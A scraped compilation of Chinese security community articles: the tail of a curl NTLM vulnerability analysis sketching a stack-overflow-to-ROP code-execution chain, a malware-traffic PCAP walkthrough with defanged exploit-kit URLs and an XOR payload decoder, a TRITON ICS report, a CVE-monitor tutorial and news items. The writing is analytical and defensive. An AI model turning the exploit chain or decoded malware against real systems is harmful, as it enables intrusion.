呀，为什么没有生效呢？原因是ntresplen是无符号数，而一旦有符号数的运算中掺有了无符号数，便会发生变量类型的传播，即隐形转换以后，整个比较都会以无符号数的方式来进行。
这也就代表着，NTLM_BUFSIZE（可以接受的最大值）减去ntresplen（实际值），可能是-2、-3这样的负数，转成无符号数则是0xfffffffe、0xfffffffd这么大的值，而size是返回消息的实际长度，一般都很短。所以这里的运算的结果一定会大于size。
因此实际上这个`size < NTLM_BUFSIZE – ntresplen`的判断并没有生效，从而导致了堆溢出代码的执行。
如果统一了符号，则结果就会变得不一样，程序会走到正确的分支上。这也是patch中所做的事情：
#### **3.2 栈缓冲区溢出→任意地址、任意长度的数据读**
你是否注意到这些挂在函数开头的一长串堆栈变量？仔细看一下这个函数的实现，你会发现一个有意思的事实：有漏洞的这个超大的函数，包含了数百行代码，数十个栈上变量。这个数字对一个栈漏洞来说非常有吸引力。
当漏洞被触发时，整个函数仅仅运行了1/3左右。这代表什么呢？分析完流程以后可以知道，如果我们能轻易地控制其他变量，就可以实现任意的远程内存读取。
（取决于编译器，对于MSVC，我们可以覆盖“size”和“result”，即向上覆盖。而对于GCC，我们可以在上图中的箭头方向向下覆盖变量。）
如此信心十足是因为我们还有足足66%篇幅的逻辑可以控制。
当实现栈溢出以后，我们可以尝试覆盖ntresplen为一个负数或很大的值。这样，当下面代码执行的时候，size就会被我们控制（自此，函数中仅剩1个无关紧要的变量未被控制）。
然后，我们可以控制`const char*
user`。关键字const仅仅是提示编译器，实际编译成binary然后执行的时候，const指向的内容仍然可以被覆盖掉。
假如我们覆盖了user和userlen，比如user覆盖成0x41414141。在以下代码执行的时候，我们就可以把0x41414141开始的userlen（可控长度）字节复制到缓冲区中。
然后，这个内存会随着Type-3的消息，发送给攻击者的服务器。即远程任意内存泄露。
#### **3.3 远程代码执行**
现在的问题来了，我们已经有了任意地址读的攻击方案，是否有其他什么方法可以让我们进行代码执行了？答案是：可以。
如果一个程序，有着这样的结构：
while(1){
if(cond)
? foo();
}
那么只要它不退出，对于foo()来说， stack
cookie每次都一样（当然栈每次也都一样）。如果foo()中可以触发这个漏洞，攻击者就可以得到cookie并向后覆盖。当然，攻击者也可以通过自己手动计算，方法很多，这里只是说其中一种最方便快捷的可能性。
可以简单做一下实验来证实，对如下代码：
使用-fstack-protector编译，确保包含callq __stack_chk_fail@plt。
编译后执行结果为：
攻击的步骤就很简单了：
1. 利用CVE-2018-16890来获取程序的Base Addr，并找到堆栈的起始地址，计算出触发漏洞时的栈地址。
2. 利用CVE-2019-3822的3.2来获取执行时栈的内存。
3. 解出正确的栈内存，并保存。保存的数据包括正确的stack cookie。
4. 再一次发起请求时，用上一步保存的内容直接进行栈覆盖，并确保程序返回时，返回到攻击者可控的地址上（因为已经有几个寄存器可以控制，因此这步通常是stack pivot 的gadget）。同时，在栈上直接写入其他ROP gadget，方便后续进行ROP attack。
5. 代码执行完成。
如果攻击者能够控制客户端的行为那便是最好了，例如在root某些设备的时候，攻击者可以控制使用curl的组件重复发送请求。
实际利用时可能需要具体对待，例如，ROP
gadget虽然可以基于curl或者PHP去找，但是你并不能确保远程机器上的curl和PHP都是未修改的。所以可能会有成功率的问题。
#### **3.4 栈缓冲区溢出→堆缓冲区溢出**
最后，如果开发人员已经注册了带有堆分配的回调，那么它还有可能变成堆缓冲区溢出。而注册带堆分配的回调也是常见的操作。
这个奇迹可能发生在下面的代码中，但是这需要看具体使用者是怎么实现convert_to_network的。我在这里只是提到这种可能，就不细说了。
### **< 四> 两个本可避免的漏洞**
漏洞均出于人。人是代码的创造者，也是灾难的创造者。让我们简单分析一下这些漏洞是如何产生的，而它们为什么本可以避免在代码中呆那么久的时间。
图：这两个漏洞从36版本引入，一直存活到63版本（我报告时的版本）。
#### **4.1被忽视的编译器警告**
不要忽略编译器的警告。编译器之所以给出警告，正是代表着代码已经存在了歧义，虽然开发者可能有A型抽象的理解，但是运行的时候难免会变成机器遵循规则执行机器码的B型具体的解释。
其实这个问题单独抽出来就很容易想明白，有符号数与无符号数相加相减，到底代表什么？为什么描述同一个状态的缓冲区变量，一个“大小”可以是负数，而另一个“大小”却只能是正数？与其解释给自己或者小黄鸭，不如直接在代码上就规范好所有同类的东西的类型。
#### **4.2过于隐蔽的宏定义**
因为是人工审计，我习惯只在*.cc里面搜索，以至于这次差点漏过了这个缓冲区溢出（这个宏定义于.h文件中）。
它的问题出在这个宏给人的感觉就是，它就是一个常量，一个类似于#define PI 3.14的常量。但实际上它不仅值会变，而且还参与了很重要的逻辑的运算。
如果语义上要定义一个动态可变的参数，出于安全考虑，我更建议定义成函数样式，如：
\#define LENGTH(X) (1 + 2 + (X) - 3)
或者，只把不变的部分定义成宏，如：
\#define HEADERLEN (1 + 2)
\#define SUFFIXLEN (3)
Len = HEADERLEN + x – SUFFIXLEN;
这样，当代码中出现这个宏的时候，基本一眼就能看得出来至少这东西的值可能是会变化的。以免在自己动态调试的时候都可能看花眼略过去。
#### **4.3过长的函数**
最后，开发同学们可能都知道，一直会有人强调不要写一个好几百行、功能复杂的大函数，而是要把函数分离开。但是深层次原因除了这样很难阅读或维护，还有其他的嘛？这里从安全上补充一个建议：为了安全起见，建议不要写如此庞大的函数。
从安全角度来说有什么影响？就像本文的例子一样，因为函数的栈帧中有太多的局部变量，一旦某个变量发生缓冲区溢出，或者其他什么变量发生了Out of
bounds存取，极有可能会影响到其他局部变量的值。
而如果把函数分成很多小函数，即使发生了栈缓冲区溢出，因为有Stack
cookie的保护，攻击者也不太可能会直接影响到其他函数中的栈帧（因为在调用到那里前就会因为cookie不符合程序直接崩溃）。
当然，关于大函数，这一点可能是利也可能是弊。我们的例子这种，如果攻击者在函数很靠前的位置就控制了你的函数，那后面这部分代码很有可能会帮助攻击者完成更复杂的功能。当然，弊端就是根据实际情况，后面的代码也有可能会给攻击者设置障碍。
### **< 五> 结语**
对于一些第三方组件，我们在使用的时候也许都会假定他们很安全，可能觉得它没有那么危险，但如果当它们与PHP或者其他你熟悉的软件结合起来，那后果可能都是十分严重的。
任何的远程代码执行、内存泄露，都可能造成另一个特定的攻击客户端版本的“心脏滴血”。
感谢Tencent Blade
Team和团队的技术氛围，研究和讨论中我逐渐发现，这些问题的根源很多是来源于开发者的开发习惯上。我也曾经有几年在做开发，看别人代码不那么容易，但看自己代码更难。我也写过不少有安全问题的代码，开发不易，测试不易，坚持不易。不过即使不易，我觉得仍要坚守开发的规范，这个既避免自己之后还技术债，也是对产品形象的负责，和对用户的负责。
最后，也附上CURL官方的修复方案。
（1）受影响的CURL： 低于7.63.0且开启NTLM认证的CURL
（2）按照优先顺序立即采取以下操作之一：
A-将curl升级到版本7.64.0。
B-将修补程序应用到您的软件上并重新编译。
PATCH
[https://github.com/curl/curl/commit/50c9484278c63b958655a717844f0721263939cc
](https://github.com/curl/curl/commit/50c9484278c63b958655a717844f0721263939cc)
PATCH
[https://github.com/curl/curl/commit/b780b30d1377adb10bbe774835f49e9b237fb9bb
](https://github.com/curl/curl/commit/b780b30d1377adb10bbe774835f49e9b237fb9bb)
C-关闭NTLM身份验证
Daniel的修补代码都十分巧妙，非常简单有效，因此除了升级，PATCH也是一个比较好的备选方案。当然，如果你不需要NTLM，关闭它是最直接的避免此漏洞的方案。
具体仍请参考curl官网公告：
[https://curl.haxx.se/docs/CVE-2018-16890.html
](https://curl.haxx.se/docs/CVE-2018-16890.html)
[https://curl.haxx.se/docs/CVE-2019-3822.html
](https://curl.haxx.se/docs/CVE-2018-16890.html)
* * * | 社区文章 |
# 恶意流量分析实践系列二
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上一次我们通过一个简单流量样例，了解到感染型HTTP流量中的恶意行为基本特征，这里有一个简单的回顾：
> 一 奇奇怪怪的URL,当然也并非所有类似的URL都指向恶意站点，所以我们可以通过在线的威胁情报网站来查询入：微步，VT等
>
> 二 返回数据里面携带恶意参数，入恶意js脚本等，恶意文件等，但如今各种加密反侦察技术也使得人工分析还是需要大量的人力成本
这一次，我们根据上面所提到的基本特征，再来仔细的分析一个感染型HTTP流量样本，本次样本依然来自[malware-traffic-analysis.net](http://malware-traffic-analysis.net/training-exercises.html)
[点这里下载PCAP包](https://pan.baidu.com/s/15oXDX112Luyxv1LauGI0VQ) 提取码：`j169`
这一次的问题：
作者给了一个简单的场景描述，翻译如下：
>
> 您在组织的安全操作中心(SOC)担任分析师。另一位分析师当时正在调查Windows主机上的警报，结果电脑被感染了。这是该分析师从相关的IP地址检索到网络流量的pcap。
## 感染链式行为溯源
打开该PCAP包后我们可以看出来，开头依然是一次http的请求过程，先是DNS查询，后发起HTTP请求
这里我们再次使用[PA-Toolkit](https://github.com/pentesteracademy/patoolkit)
首先我们用此插件来分析角色
这一次仅一个客户IP，其余全是服务IP
我们在来看看请求明细
这一次没有POST请求，我们直接查看GET请求，前三应该是才查询google,第三个跳转到了一个`http://www.floridablueline[.]com`，
因此我们选择跟踪该域名
如下图，我们追踪第一个HTTP流，来看看是否能跟踪到可疑痕迹
我们仔细看边会发现这里被像是被植入了一段js跳转代码，其中跳转的URL执行：`http://fernandatur[.]com/Scripts/hqnybx2w.php?id=960135`
我们继续跟踪此URL的HTTP流，实际上这里我们就会发现HTTP恶意行为分析，重要的一部分就是此请求和响应发生了什么，其内容如何，以此来判断其是否属于恶意
很幸运的是，这里基本很明显的一个iframe跳转恶意连接，而且也出现了奇奇怪怪的URL请求，不过这一次参数非常奇怪，我们在来看一下该URL相关的请求和响应`http://good.recycle2learn[.]com/?xniKfredLBvKDIU=l3SKfPrfJxzFGMSUb-nJDa9GPkXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFT_zR3AaQ4ilotXQB5MrPzwnEqWwxWeioXW_RGJN1hM-5DAFrE92lyjx-cUIsN2wR7QumAGzO0ZUEgbrA`
这一次的js隐藏手法就比上一次的高明得多，各种注释符+混淆以及开篇的注释翻译过来如下
看似正常，这段注释就产生了比较强的迷惑性不过多次样本分析的经验告诉我这一段js不简单，当然这里先不对该js做分析，不过我们目前可以肯定该URL以及IP存在很大的嫌疑了
可以发现其还是在利用了flash，我们依然导出来放到VT上看一下
此exploit依然利用了两个flash漏洞，这里不对漏洞做详细讨论
现在，我们完全肯定了此域名和IP即为KE工具生成的域名和IP
我们看关于他的最后一条HTTP请求
这里下了植入物payload，其经过加密，直接丢VT只有4家报毒
利用下面给出的解密脚本解密后，被全杀，当然也是一个时间问题，比较15年的老东西了
encrypt = bytearray(open('2', 'rb').read())
key = bytearray('nkiOaWsg')
for i in range(len(encrypt)):
encrypt[i] ^= key[i%len(key)]
open('decode.exe', 'wb').write(encrypt)
解密前
解密后
由此我们基本可以明确感染链HTTP行为如图所示：
## 分析总结
这次分析的HTTP流量使得我们对感染型HTTP行为进一步加深理解，攻击者通过攻击了正常站点floridablueline[.]com 如下
该站点遭入侵后，被攻击者植入恶意js跳转代码，跳转至另外一个受感染站点，受感染站点并没有直接下放恶意代码或可执行文件，而是通过返回重定向至攻击者C&C
Server,当用户被重定向至恶意站点后，首先被下放执行混淆后的恶意JS代码，之后被下放Flash
EXP执行漏洞攻击，随后下载执行加密后的Payload，成功沦陷，这种就属于一种很典型的感染式恶意HTTP流量行为，其中攻击者并没有直接对PC主机进行攻击，而PC在访问看似正常的网站时，被恶意跳转至以及重定向至恶意站点，遭遇组件漏洞攻击。这一类恶意感染式HTTP行为，其感染的链的长度决定了分析师分析难度，而且对普通用户来说，很较难防御，而且这种感染链模式下的HTTP流量行为不仅仅针对PC用户，手机用户也依然有效，当然除了正常应用网站被攻击后插入恶意跳转链接，也还有植入广告后网页劫持，DNS劫持这一类操作，这里有一篇关于简书恶意弹窗的分析文章，这里不多说。
[简书网页劫持分析](https://www.52pojie.cn/forum.php?mod=viewthread&tid=1070300) | 社区文章 |
# 攻击者部署ICS攻击框架“Triton”导致关键基础设施中断服务（上）
|
##### 译文声明
本文是翻译文章，文章原作者 Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan
Brubaker, Christopher Glyer，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html>
译文仅供参考，具体内容表达以及含义原文为准。
> 本文是Fireeye针对一次工业安全系统攻击事件的分析，本文是该文章的上半部分，主要介绍了事件摘要、溯源以及过程控制。
## 传送门
[攻击者部署ICS攻击框架“Triton”导致关键基础设施中断服务（下）](https://www.anquanke.com/post/id/90992)
## 一、前言
Mandiant最近参与了一次应急响应事件，在这次攻击事件中，攻击者在某个关键的基础设施组织中部署了恶意软件，目标是操控工业安全系统。被攻击的目标系统提供紧急关闭功能，可以在紧急状态下处置工业生产流程。经过适当评估后，我们认为攻击者正在研发能够造成物理损坏以及随时关闭正常服务的功能。我们将这款恶意软件称之为TRITON，这是一个攻击框架，可以与Triconex安全仪表系统（Safety
Instrumented
System，SIS）控制器交互。虽然我们并没有将此次攻击事件追踪溯源到具体的某个攻击者，但我们认为此次行动与国家级的攻击准备行为脱不开关系。
现在市面上只有少数几款恶意软件家族专门针对[工业控制系统（industrial control
systems，ICS）](https://www.fireeye.com/solutions/industrial-systems-and-critical-infrastructure-security.html)，TRITON正是其中一员。比如，2010年出现了针对伊朗的[Stuxnet](https://www.fireeye.com/company/press-releases/2014/fireeye-reveals-rise-in-advanced-threat-activities-by-iranian-linked-ajax-security-team-in-post-stuxnet-era.html)恶意软件，2016年出现了针对乌克兰的Industroyer恶意软件（我们认为Industroyer的背后主导者为沙虫组织（Sandworm
Team））。TRITON与这些攻击活动类似，因为它能阻止安全机制正常发挥作用，造成严重的物理损坏后果。
恶意软件家族 | 主要模块 | 描述
---|---|---
TRITON | trilog.exe | 利用libraries.zip的主执行程序
TRITON | library.zip | 自定义通信库，可以与Triconex控制器交互
表1. TRITON恶意软件
## 二、事件摘要
攻击者首先获得了SIS工程工作站（Engineering
Workstation）的远程访问权限，然后部署了TRITON攻击框架对SIS控制器进行重新编程。在此次事件中，某些SIS控制器进入了故障安全状态，该状态会自动关闭正常工业流程，因此也促使相关人员开始调查整个事件。经调查发现，当冗余处理单元之间的程序代码无法通过检验检查过程时，SIS控制器就会启动安全关闭流程，生成MP诊断故障消息。
经过适当评估后，我们有一定的把握认为，这次攻击事件中，攻击者在开发物理损坏攻击能力时，不小心触发了关闭操作，之所以做出这个判断，原因主要包含如下几点：
1、修改SIS会导致其无法正常工作，增加异常工作状态的可能性，造成严重物理后果。
2、攻击者使用TRITON来修改生产环境中SIS控制器上应用程序的内存，这样可能导致无法通过校验检查。
3、故障出现时机与TRITON的活跃时机相符。
4、在此事件发生期间，单从现有状况或者外部条件来看不可能引起安全故障。
## 三、追踪溯源
[FireEye](https://www.fireeye.com/index.html)尚未将此次攻击事件与我们正在跟踪的任何攻击者联系在一起，然而，我们有一定的把握认为这次事件的主导者背后有国家力量的支持。这次攻击事件针对的是关键基础设施，攻击者发起的攻击活动持续周期较长，我们也很难找到攻击者开发这种攻击框架的金钱动力，更何况这种行为需要大量技术资源，种种因素都表明只有实力雄厚的国家才能支撑此次攻击活动。具体而言，我们的结论源自于如下几个事实：
攻击者的目标是SIS，这意味着攻击者希望通过影响力较高的攻击活动造成严重的物理损坏后果，以往的网络犯罪组织通常不具备这种攻击意图。
TRITON需要访问专用的硬件及软件环境，这些环境的使用范围并没有那么广泛，而攻击者在获得SIS系统的访问权限后不久就部署了TRITON，这表明他们之前已经生成并测试过这款工具。TRITON还可以使用专有的TriStation协议进行通信，而该协议并没有官方说明文档，这表明攻击者自己已经逆向分析过这个协议。
此次攻击的目标是扰乱、削弱或者摧毁关键基础设施的正常功能，这与俄罗斯、伊朗、朝鲜、美国和以色列在全球范围开展的国家级别的大量攻击和侦察活动一致。这类入侵行为不一定代表攻击者想立即摧毁目标系统，他们有可能只是在为应急情况做准备。
## 四、关于过程控制及安全仪表系统
图1. ICS架构参考说明
现代的工业过程控制及机动化系统依赖于各种尖端控制系统及安全功能。行业中通常将这些系统及功能称之为[工业控制系统（Industrial Control
Systems，ICS）](https://www.fireeye.com/solutions/industrial-systems-and-critical-infrastructure-security.html)或者运营技术（Operational Technology，OT）。
操作人员可以借助分布式控制系统（Distributed Control
System，DCS）远程监视及控制工业流程。DCS是由计算机、软件应用程序以及控制器组成的计算机控制系统。工程工作站（Engineering
Workstation）是用于配置、维护以及诊断控制系统应用程序以及其他控制系统设备的计算机。
SIS是独立的控制系统，可以独立监视工业流程的状态是否在可控范围内。如果工业流程超过了危险状态参数值，那么SIS就会尝试将该流程恢复到安全状态，或者会以安全方式自动关闭该流程。如果SIS以及DCS无法正常发挥作用，那么整套工业设施本身就是最后一道防线，其中包括设备使用的机械保护设施（如防爆片）、物理报警器、应急响应程序以及其他缓解危险情况的保护机制。
资产方会采用各种方法将工厂的DCS与SIS连接起来。传统的方法中有一个原则，那就是通信基础设施和控制策略需要相互隔离。在过去的十多年中，由于各种原因（比如成本降低、易用性提高以及DCS和SIS信息交互所带来的各种优势），越来越多的设计方案中会将DCS以及SIS集成在一起。这种设计方案允许DCS以及SIS网络主机之间能够双向通信，但也存在安全隐患，我们认为TRITON的出现正是这种安全隐患的典型代表。
## 五、技术分析
技术分析请持续关注安全客。 | 社区文章 |
# 0x01 前言
前几天在先知上看到[伪全栈式安全研发：CVE监控](https://xianzhi.aliyun.com/forum/topic/1694/)这篇文章，就想着也实现一下代码进行最新CVE的监控。语言采用了Python，数据库也为Mongodb数据库。代码和实现的什么不重要，重要的是过程。
主要包括以下几个方面。
1. 获取最新的CVE列表和详情
主要采用了python的requests模块和BeautifulSoup模块。
2. 将最新的CVE信息存入数据库
数据库使用了Mongodb，采用了pymongo模块。
3. 通过邮件发送最新的CVE信息
发送邮件采用了smtplib模块。
4. 定时执行任务
使用了linux的crontab来实现。
# 0x02 实现过程
## 1\. 获取最新的CVE列表和详情
访问<https://cassandra.cerias.purdue.edu/CVE_changes/today.html>
，可以获取每天新增的CVE信息。
通过查看源代码，发现没html没什么规律可言，都是些超链接。要想获取最新的列表，可以通过取文本中间的方法来获取。
这里需要获取`New entries:`和`Graduations`之间的内容。然后通过BeautifulSoup来解析其中的超链接。
主要代码如下：
def getCVES():# 获取最新到CVE列表
try:
url = 'https://cassandra.cerias.purdue.edu/CVE_changes/today.html'
res = requests.get(url, headers=headers, timeout=60)
CVEList_html = getMiddleStr(res.text, 'New entries:', 'Graduations')
soup = BeautifulSoup(CVEList_html, 'html.parser')
for a in soup.find_all('a'):
print(a['href'])
print(a.string)
except Exception as e:
print(e)
获取文本中间内容的代码：
def getMiddleStr(content, startStr, endStr): # 获取文本中间内容
startIndex = content.index(startStr)
if startIndex >= 0:
startIndex += len(startStr)
endIndex = content.index(endStr)
return content[startIndex:endIndex]
运行效果：
超链接的地址是CVE的详情。随便进入一个查看效果。
例如：<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-0874>
这里需要记录的信息有：CVE-ID、Description、Assigning CNA和Date Entry Created。
通过查看网页源码发现，所有需要记录的信息在一个表格里面。但该页面有很多table，而且没有明显的标识来区分。而该table在div中，可以通过id来获取。
CVE-ID可以直接通过`soup.find(nowrap='nowrap').find('h2').string`获取。其他的几个信息可以通过获取相应tr中的td中的内容获得。
这样就可以获取最新的CVE列表和详情。
## 2\. 将最新的CVE信息存入数据库
数据库采用了Mongodb。安装方法`apt-get install mongodb`
然后启动数据库
mkdir /var/data/ #创建数据存储位置
mongod --port 65521 --dbpath /var/data/ --bind_ip 127.0.0.1 #启动mongodb，指定端口和路径，且仅本机可连
mongo 127.0.0.1:65521/mydb
db.createUser({user:'tass',pwd:'liehu',roles:[{role:'dbOwner',db:'mydb'}]}) #添加认证
Mongodb数据库插入一条数据，一般使用的是insert。
db.test.insert({"title":"test1", "blog_cont":"test1"})
如果我们想实现一个如果title存在，就对数据进行更新，不存在，就插入。可以这样来实现。
db.test.update({"title":"test2"}, {$set:{"title":"test2", "blog_cont":"test2"}}, {upsert:true})
db.test.update({"title":"test1"}, {$set:{"title":"test1", "blog_cont":"test3"}}, {upsert:true})
db.test.find()
执行完成后最终有两条数据，title分别为test1和test2，对应的内容为test3和test2.
因此在插入数据的时候，我们可以直接使用`db.test.update({"title":"test2"}, {$set:{"title":"test2",
"blog_cont":"test2"}}, {upsert:true})`这种方式来实现。
更新只需更改data内容即可。
> 为了数据库的安全性，使用`--bind_ip 127.0.0.1`来设置数据库仅本地可以连接。更多mongodb数据库的配置可以参考[MongoDB
> Mongodb.conf 配置
> Auth](http://blog.csdn.net/guoxingege/article/details/47339885)。
## 3\. 通过邮件发送最新的CVE信息
发送邮件这里用到了smtplib。
发送邮件比较简单，就直接贴代码了。
def sendEmail(mail_msg): # 发送邮件
sender = '[email protected]' # 发件人
password = 'password' # 发件人密码
receiver = '[email protected]' # 收件人
message = MIMEText(mail_msg, 'plain', 'utf-8') #以文本发送
message['From'] = sender
message['To'] = receiver
subject = '最新CVE列表'
message['Subject'] = Header(subject, 'utf-8')
try:
smtpObj = smtplib.SMTP('smtp.163.com')
smtpObj.login(sender, password)
smtpObj.sendmail(sender, receiver, message.as_string())
print('邮件发送成功')
except smtplib.SMTPException:
print('Error: 无法发送邮件')
## 4\. 定时执行任务
直接使用linux下的crontab来完成。
例如设置每天早上7点执行，可以这样设置：
0 7 * * * python /myJob/CVE-Monitor.py >> /log/CVE-Monitor.log
> 根据<https://cassandra.cerias.purdue.edu/CVE_changes/>
> 看到today.html更新的时间是明天的06:53，对应北京时间是19:53。若想及时获取，可以更换时间为20:00.
## 5.完善和优化
到这里监控脚本完成的差不多了，剩下就是如何来融合一起并改善了。
为了方便发送邮件内容和插入数据库，我们新建类CVEInfo。主要代码如下：
class CVEInfo:
def __init__(self,url, cveid, description, company, createdate):
self.url = url
self.cveid = cveid
self.description = description
self.company = company
self.createdate = createdate
def show(self):
return '<p><b>漏洞编号：</b><a href="'+self.url+'">'+self.cveid+'</a></p><b>相关厂商：</b>'\
+self.company +'<br><b>披露日期：</b>'\
+self.createdate+'<br><b>漏洞描述：</b>'\
+self.description + '<br><br><hr/>'
def add(self):
data = {
'cveid': self.cveid,
'description': self.description,
'company': self.company,
'createdate': datetime.strptime(self.createdate, "%Y%m%d"),
'addDate': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())),
}
return data
为了美观，将邮件以html方式发送
message = MIMEText(mail_msg, 'html', 'utf-8')
邮箱收到的效果：
查看数据库数据：
从上面两张图片可以看到有三十多个，但我们有时候并不是都需要看。我们可以根据Description中关键信息来进行过滤，仅仅将我们需要关注的CVE信息发送到邮箱或进行入库操作。
如下图为获取[CVE-2017-8295](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-8295)的信息。
然后修改main方法，根据是否有关注的CVE信息来决定邮件的内容。
这里先用本地服务器为例，新建today.html文件，其中包含[CVE-2017-9805](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-9805)和[CVE-2017-16241](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-16241)。
运行代码结果打印了一条包含了我们的关键字的数据。
邮件中的内容如下所示：
这样就能过滤其他CVE信息，仅仅记录我们关注的内容了。
# 0x03 总结
本文主要用到了BeautifulSoup解析网页和mongodb数据库的使用，然后就可以将想要的内容保存到数据库中。脚本并不限于在此处使用，也可以修改一下抓取其他网站内容。
代码地址：<https://github.com/fupinglee/MyPython/blob/master/work/CVE-Monitor.py>
查询的功能就不做了，若想实现其他功能，可以自行增加和修改。
# 0x03 参考
[1]<https://xianzhi.aliyun.com/forum/topic/1694/>
[2]<http://blog.csdn.net/guoxingege/article/details/47339885> | 社区文章 |
# 1月7日安全热点–hybrid-analysis追踪到的spectre POC
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
360威胁情报中心：现代CPU中的预测执行和乱序执行相关机制漏洞通告
<https://mp.weixin.qq.com/s/e_ASsDJAZ9m6wFTF865yXA>
投机之殇——解说史上最大CPU漏洞
[https://mp.weixin.qq.com/s?__biz=MzA3NTk5MDIzNw==&mid=2647665585&idx=1&sn=bd58e3327705a5ff11eb59a5965389fd](https://mp.weixin.qq.com/s?__biz=MzA3NTk5MDIzNw==&mid=2647665585&idx=1&sn=bd58e3327705a5ff11eb59a5965389fd)
VMSA-2018-0001：VMware安全公告
<https://www.vmware.com/security/advisories/VMSA-2018-0001.html>
ESA-2018-001：Dell安全公告
受影响产品：
EMC Avamar Server 7.1.x, 7.2.x, 7.3.x, 7.4.x, 7.5.0
EMC NetWorker Virtual Edition (NVE) 9.0.x, 9.1.x, 9.2.x
EMC Integrated Data Protection Appliance 2.0
CVE-2017-15548：认证绕过漏洞；CVE-2017-15549：任意文件上传漏洞；CVE-2017-15550：路径穿越漏洞
<http://seclists.org/fulldisclosure/2018/Jan/17>
Github网友说：”Spectre漏洞并没有修复，并不像Intel说的那样”
<https://gist.github.com/woachk/2f86755260f2fee1baf71c90cd6533e9>
Intel对于推测执行侧信道攻击漏洞的分析白皮书
<https://newsroom.intel.com/wp-content/uploads/sites/11/2018/01/Intel-Analysis-of-Speculative-Execution-Side-Channels.pdf>
AMD片上芯片的安全漏洞
<https://www.bleepingcomputer.com/news/security/security-flaw-in-amds-secure-chip-on-chip-processor-disclosed-online/>
hybrid-analysis追踪到的spectre POC
<https://www.hybrid-analysis.com/sample/e6021e3d74e007a8cac5be57729ffbd5c8cf075b788a926a3445fdca605c67f4?environmentId=100>
hybrid-analysis检测spectre POC的规则
<https://www.hybrid-analysis.com/search?query=tag:spectre>
## 技术类
数百个感染了Coinhive挖矿代码的安卓app
<http://cdn.androidapk.world/downloads/>
CoinHive挖矿代码
<https://gist.github.com/fs0c131y/fe7373761e8ea2793f38d26b7e75ce3c>
Dropper app
<https://www.virustotal.com/#/file/71440de9094c12f285cb37de8c29075bc1b784ef4c9aa6b4cd399fbf58cd1163/detection>
使用Snort检测企业流量
<https://green-m.github.io/2018/01/05/network-detection-with-snort-in-company/>
漫画Meltdown and Spectre
<https://xkcd.com/1938/>
越狱的原理
<https://blog.appknox.com/how-does-jailbreak-work/>
CMSsc4n v2.0：用来判断某域下是否存在CMS，如WordPress, Moodle, Joomla, Drupal and Prestashop
<https://www.kitploit.com/2018/01/cmssc4n-v20-tool-to-identify-if-domain.html>
<https://github.com/n4xh4ck5/CMSsc4n> | 社区文章 |
# 《延禧攻略》全剧70集抢先看？这样的吸金陷阱一点不善良
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
尔晴，我劝你善良
皇上你个大猪蹄子
卫龙cp VS 傅璎cp
最近，《延禧攻略》热播引众人追捧，不少网友痴迷追剧，奈何日更两集无法满足，即使是视频网站VIP也看不了全剧，于是萌生了全网搜罗全剧资源的想法。
哪里有市场，哪里就有骗子在生长…
于是，经典招数来！了！
骗分享的套路眼熟不眼熟？
不同以往的是，分享后此视频网站真的能打开。但很快发现字幕是越南版，而且剧情并没有比国内快多少，说好的全剧70集更是无稽之谈。一不小心，又被套路了！
其实，在热播电影、电视剧的微博和论坛的评论区，经常会看到一些诱人的评论：“热剧免费资源，需要私我”、“XX电影免费资源”，更有大量追剧心切的用户跟帖索要“免费”资源，殊不知早已卷入一条影视资源倒卖灰产中。
## 影视资源的三种主要来源
第一种是所谓的“枪版”，即直接在影院用手机或摄像机等设备录制影像；
第二种是利用国内外进口片上映档期的时间差，从国外传入国内；
第三种则是当一部电影的DVD或蓝光碟开售，收费的正版影片在互联网上线、电视上星播放后，通过各种技术手段复制作品内容，或者截取网络及电视信号。
## “影视贩子”：线上售卖、线下发展代理
一次性缴纳一定金额的代理费，即可成为“影视代理”，不仅可以分享群内所有资源，你的上级还会对你进行“培训”，教授你如何找资源、做推广、发展代理和客源。
代理工作流程极其简单，只需要根据客户需求，将百度云盘链接和密码分享给客户即可。还会让你关注一些资源分享公众号，在后台回复剧名一样可以获取链接。
代理每发展一个下线，需要向上线缴纳一定金额的分层。通常从事影视代理的人群多为在校大学生和宝妈，且以兼职为主。
## 引流推广、线上交易，一气呵成
“影视代理”会选择几大热门网络平台作为主要引流渠道，比如：贴吧、微博。
资源获取，通过微博贴吧等平台推广售卖，微信进行线上交易，影视倒卖灰色产业链就形成了一个完整的闭环！
## 追剧已痴狂？小心吸金陷阱和套路！
花钱买资源的用户，你可能会遇到以下情况：
1\. 付费资源群是吸金陷阱，付费之后并不会拿到所谓的资源，相反可能会被踢出群；
2\. 对方给的资源可能是网上能搜索到的“过时资源”；
3\. 一些不法分子下载包中植入木马病毒，用户下载后会导致设备中毒。
## 看剧的正确姿势
* 选择正规知名的视频网站，不要care那些谎称有免费资源的小网站。即使里面有资源，但满页的广告不但会影响观影效果，还容易中木马病毒。
* 谎称有视频资源让加微信、qq的请不要相信，需要付费进群获得资源的更不能搭理，避免入坑。
* 安装安全软件，带有恶意网址的网站能够有效的拦截，保证观看环境安全。 | 社区文章 |
## **背景介绍**
本文基本上是今年六七月花挺大量的一段时间读了一些学术论文，也提及了一些常见的DNS利用技巧，有旧有新然后整合起来做个简单的总结。涉及的范围不是很广，但还是可以讲到一些覆盖皮毛的知识，并且在本文中可以发现在真实安全环境下的攻防对抗的逐渐升级，安全无止境。希望抛砖引玉，同样对DNS安全有研究或有兴趣的朋友可以一同交流学习。
## **DNS Data**
**Data Collections**
一般来说，我们会通过收集数据来丰富我们的研究工作，同时这些数据也是可以被用作在安全测试当中。比较推荐的是Rapid7的开放DNS数据库，他们提供了存储DNS解析信息的FDNS（Forward
DNS）和PTR信息的RDNS（Reserve DNS）。
<https://opendata.rapid7.com/sonar.fdns_v2/>
<https://opendata.rapid7.com/sonar.rdns_v2/>
